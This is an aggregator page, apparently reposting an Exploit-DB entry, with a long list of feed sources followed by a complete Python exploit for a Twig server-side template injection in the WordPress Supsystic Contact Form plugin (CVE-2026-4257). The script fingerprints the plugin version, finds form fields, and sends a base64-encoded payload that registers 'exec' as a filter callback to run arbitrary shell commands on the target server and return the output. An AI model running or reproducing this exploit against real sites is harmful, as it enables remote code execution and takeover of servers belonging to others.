惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
爱范儿
爱范儿
H
Help Net Security
Last Week in AI
Last Week in AI
The Cloudflare Blog
博客园 - 三生石上(FineUI控件)
小众软件
小众软件
IT之家
IT之家
aimingoo的专栏
aimingoo的专栏
大猫的无限游戏
大猫的无限游戏
Jina AI
Jina AI
Google DeepMind News
Google DeepMind News
B
Blog
C
Check Point Blog
T
Tailwind CSS Blog
云风的 BLOG
云风的 BLOG
D
Docker
Recent Announcements
Recent Announcements
Vercel News
Vercel News
博客园 - 聂微东
阮一峰的网络日志
阮一峰的网络日志
MyScale Blog
MyScale Blog
The GitHub Blog
The GitHub Blog
Stack Overflow Blog
Stack Overflow Blog
雷峰网
雷峰网
人人都是产品经理
人人都是产品经理
月光博客
月光博客
F
Fortinet All Blogs
Blog — PlanetScale
Blog — PlanetScale
B
Blog RSS Feed
The Register - Security
The Register - Security
V
Visual Studio Blog
F
Full Disclosure
Hugging Face - Blog
Hugging Face - Blog
T
Threat Research - Cisco Blogs
Latest news
Latest news
PCI Perspectives
PCI Perspectives
Cisco Talos Blog
Cisco Talos Blog
博客园 - Franky
D
DataBreaches.Net
A
Arctic Wolf
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
G
Google Developers Blog
P
Palo Alto Networks Blog
Engineering at Meta
Engineering at Meta
Microsoft Azure Blog
Microsoft Azure Blog
T
Tenable Blog
L
LINUX DO - 热门话题
Spread Privacy
Spread Privacy

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
bootstrapbool · 2026-05-14 · via Exploit-DB.com RSS Feed

WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI

# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
# Date: 3/30/2026
# Exploit Author: bootstrapbool
# Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: <= 1.7.36
# Tested on: Ubuntu 24 and Windows 10
# CVE : CVE-2026-4257


import argparse
import base64
import re
import requests

class status:
    OKGREEN = "\033[32m"
    WARNING = "\033[33m"
    FAIL = "\033[31m"
    ENDC = "\033[0m"
    NOCOLOR = False
    VERBOSE = False

    @classmethod
    def print(cls, message: str, status: str = None):

        if cls.NOCOLOR:
            print(message)
            return

        match status:
            case "FAIL":
                print(f"{cls.FAIL}{message}{cls.ENDC}")
            case "WARNING":
                print(f"{cls.WARNING}{message}{cls.ENDC}")
            case "SUCCESS":
                print(f"{cls.OKGREEN}{message}{cls.ENDC}")
            case _:
                print(message)

    @classmethod
    def vprint(cls, message: str, status: str = None):
        if cls.VERBOSE:
            cls.print(message, status)

def get_page(url: str) -> str:

    try:
        res = requests.get(url)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return res.text

def get_version(body: str) -> str | None:
    pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'

    match = re.search(pattern, body)

    if match:
        return match.group(1)

def is_vulnerable(version: str) -> bool:

    try:
        major, minor, patch = map(int, version.split("."))
        return (major, minor, patch) <= (1, 7, 36)
    except:
        status.vprint(f"Failed to parse version.", "WARNING")

def detect_version(body: str):
    version = get_version(body)

    vulnerable = is_vulnerable(version)
    if vulnerable:
        status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
    elif vulnerable != None:
        status.vprint(
            f"Detected version {version} is not vulnerable.",
            "WARNING")

def detect_fields(body: str) -> list[str] | None:
    """Automatically attempt to get Contact Form fields to use for SSTI"""

    pattern = r'data-name="([^"]+)"'

    field_names = list(set(re.findall(pattern, body)))

    if field_names:
        status.print(f"Detected fields: {field_names}", "SUCCESS")
        return field_names

def handle_field(body: str, field: str | None) -> str:

    if field:
        return field

    fields = detect_fields(body)

    if fields is not None:
        status.vprint(f"Using automatically detected field: {fields[0]}")

        return fields[0]

    status.print("Failed to detect fields.", "FAIL")
    exit(1)

def get_output(field: str, body: str) -> str | None:

    pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
    match = re.search(pattern, body)

    if match:
        return match.group(1)

def exploit(url: str, payload: str, field: str) -> str | None:

    utf8_var = "{%set a%}UTF-8{%endset%}"
    base64_var = "{%set b%}BASE64{%endset%}"

    twig_payload = "{%set p%}" +  base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"

    # The () ensures the variables are not treated as string literals
    twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"

    register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"

    exec_filter = "{{_self.env.getFilter(p)}}"

    ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
    status.vprint(f"Payload: {payload}")

    params = {
        "cfsPreFill": 1,
        field: ssti_payload}

    try:
        res = requests.get(url, params)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return get_output(field, res.text)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--field",
        type = str,
        help = ("Valid field part of the Contact Form. The defaults are "
            + "first_name, last_name, subject, message, and email. Though it's "
            + "possible for none of these fields to appear. Not all field types"
            + "work. The tested field types that are confirmed to work are"
            + "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
            + "work."))
    parser.add_argument(
        "--no-color",
        action = "store_true",
        help = "If you dont want pretty colors in your output.")
    parser.add_argument(
        "--verbose",
        "-v",
        action = "store_true")
    parser.add_argument(
        "url",
        type = str,
        help = ("Full URL to page with vulnerable Contact Form component. " \
            + "Ex: http://localhost:4444/sample.php"))
    parser.add_argument(
        "payload",
        type = str,
        default = None,
        help = ("Shell commands to be executed."))

    args = parser.parse_args()

    status.NOCOLOR = args.no_color
    status.VERBOSE = args.verbose

    body = get_page(args.url)

    detect_version(body)
    field = handle_field(body, args.field)

    output = exploit(args.url, args.payload, field)

    if output:
        if output.lower() == field.lower():
            status.print(
                "Output is same as field. Maybe try a different field?",
                "WARNING")
        status.print(output)
    else:
        status.print(
            f"Failed to extract output with field '{field}'",
            "FAIL")

if __name__ == "__main__":
    main()